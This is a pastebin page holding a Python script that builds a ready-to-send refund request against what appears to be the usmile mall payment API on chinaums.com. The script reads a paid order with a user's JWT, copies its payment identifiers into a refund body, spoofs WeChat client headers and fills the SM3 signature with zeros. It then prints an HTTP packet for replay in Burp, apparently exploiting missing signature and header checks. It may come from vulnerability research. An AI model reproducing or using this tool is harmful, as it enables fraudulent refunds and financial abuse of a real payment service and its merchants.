跳到主内容
paste
bin
.ca
type · paste · share
⌘
K
登录
?
账户
更多
▾
文档
系列
bin 系列
pastebin.ca
中心
Share text and code with expiry and privacy controls.
imagebin.ca
Upload and share images with direct links.
filebin.ca
Drop a file and get a shareable link.
notebin.ca
Write Markdown notes with durable links.
turl.ca
Short, reputation-checked links.
attn.ca
Notifications and alerts for your services.
voicebin.ca
Record and share short voice clips.
dnsbin.ca
Inspect DNS and debug records.
← 返回文本
›
编辑 / 分支
无标题文本
#3YtQB7LdNw
profile / public
新版本
匿名
已创建 20 days ago
过期于 10 days
5.0 KB
语法:
text
你的更改会创建一个链接到此文本的新文本 — 原始文本不变。
新版本
你的更改会创建一个链接到此文本的新文本 — 原始文本不变。
标题(可选)
文件名
语法
text
text
bash
c
cpp
css
diff
dockerfile
go
html
ini
java
javascript
json
kotlin
lua
makefile
markdown
nginx
php
python
ruby
rust
shellscript
sql
swift
toml
typescript
xml
yaml
可见性
显示在用户动态中
访问
public
过期
30 天
10 分钟
1 小时
1 天
7 天
30 天
90 天
自定义…
自定义过期
变更备注
(可选)
创建新版本
取消
粘贴或输入…
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ usmile 支付层退款 —— 数据包生成器 用法: export USMILE_TOKEN='<登录态 JWT>' python refund_packet.py 0000000176281134793280 # 打印数据包 python refund_packet.py 0000000176281134793280 > packet.http # 存成文件 python refund_packet.py 0000000176281134793280 --token 'eyJ...' 行为: * 读一次订单详情,取 payInfo 里的 merOrderId/tid/mid/金额,组退款报文。 * stdout 只输出这一份 HTTP 数据包(无 curl、无提示语),可直接粘到 Burp。 * 只发读请求,不发退款;另存一份到 packets/<订单号>_<时间>.http。 """ import argparse import datetime import json import os import random import subprocess import sys import time HOST = "https://usmile.chinaums.com/usmile-mall" P_ORDER_QUERY = "/api/usmile-order/v1/mall/order/query" P_PAY_REFUND = "/api/usmile-pay/v1/usmile/pay/order/refund" UA = ("Mozilla/5.0 (iPhone; CPU iPhone OS 27_2 like Mac OS X) AppleWebKit/605.1.15 " "(KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.80(0x1800502c) " "NetType/WIFI Language/zh_CN") REFERER = "https://servicewechat.com/wx6973fa3c9cf38a86/22/page-frame.html" def msg_head(): """mall 协议统一信封;7 个字段客户端自造,服务端只回传不校验""" now = datetime.datetime.now() return { "charSet": "UTF-8", "versionID": "001", "orgReceiverID": "0000000262", "orgSenderID": "0000000307", "orgSendDate": now.strftime("%Y%m%d"), "orgSendTime": now.strftime("%H%M%S"), "orgSendTransID": "0000000000000000%013d%03d" % (int(time.time() * 1000), random.randint(0, 999)), } def post(path, body, token): raw = json.dumps(body, separators=(",", ":"), ensure_ascii=False) cmd = ["curl", "-sS", "--max-time", "25", "-X", "POST", "-H", "Content-Type: application/json", "-H", "locale: zh-cn", "-H", "User-Agent: " + UA, "-H", "Referer: " + REFERER, "-H", "X-Token: " + token, "-H", "X-Authorization: SIGN-TYPE=SM3;SIGN=" + "0" * 64, "--data-binary", raw, HOST + path] out = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8", errors="replace") try: return json.loads((out.stdout or "").strip()) except Exception: sys.exit("请求失败/返回非 JSON: %s" % ((out.stderr or out.stdout or "").strip()[:300])) def render_packet(token, body): raw = json.dumps(body, separators=(",", ":"), ensure_ascii=False) return "\n".join([ "POST %s%s HTTP/1.1" % (HOST, P_PAY_REFUND), "Host: usmile.chinaums.com", "Content-Type: application/json", "locale: zh-cn", "User-Agent: " + UA, "Referer: " + REFERER, "X-Token: " + token, "X-Authorization: SIGN-TYPE=SM3;SIGN=" + "0" * 64, "Content-Length: %d" % len(raw.encode("utf-8")), "", raw, ]) def main(): ap = argparse.ArgumentParser(description="生成 usmile 支付层退款数据包") ap.add_argument("order_no", help="已支付订单号(22 位)") ap.add_argument("--token", help="登录态 JWT;缺省读环境变量 USMILE_TOKEN") args = ap.parse_args() token = (args.token if args.token is not None else os.environ.get("USMILE_TOKEN") or "").strip() if not token: sys.exit("缺少 token:用 --token 传入,或设置环境变量 USMILE_TOKEN") # 1) 查订单,取支付单参数 r = post(P_ORDER_QUERY, {"msgBody": {"orderNo": args.order_no}, "msgHead": msg_head()}, token) head = r.get("msgHead") or {} if head.get("errCode") != "6B000000": sys.exit("订单查询失败: %s %s" % (head.get("errCode"), head.get("errInfo"))) mb = r.get("msgBody") or {} pay = next((p for p in (mb.get("payInfo") or []) if p.get("type") == "PAY"), None) if not pay: sys.exit("该订单无 PAY 支付记录(未支付?)orderStatus=%s" % mb.get("orderStatus")) if not (pay.get("paySsn") and pay.get("payAmt")): sys.exit("支付记录缺 paySsn/payAmt,无法组包: %s" % json.dumps(pay, ensure_ascii=False)) # 2) 组退款数据包(refundOrderId 是幂等键,每次自动换新) body = { "msgBody": { "merOrderId": pay["paySsn"], "refundOrderId": "RF%s%06d" % (time.strftime("%Y%m%d%H%M%S"), random.randint(0, 999999)), "refundAmount": pay["payAmt"], "requestTimestamp": int(time.time() * 1000), "tid": pay.get("tid"), "mid": pay.get("merNo"), "refundReason": "repro", }, "msgHead": msg_head(), } packet = render_packet(token, body) # 3) stdout 只输出数据包;另存一份留档 os.makedirs("packets", exist_ok=True) path = os.path.join("packets", "%s_%s.http" % (args.order_no, time.strftime("%Y%m%d%H%M%S"))) with open(path, "w", encoding="utf-8") as f: f.write(packet + "\n") print(path, file=sys.stderr) sys.stdout.write(packet + "\n") if __name__ == "__main__": main()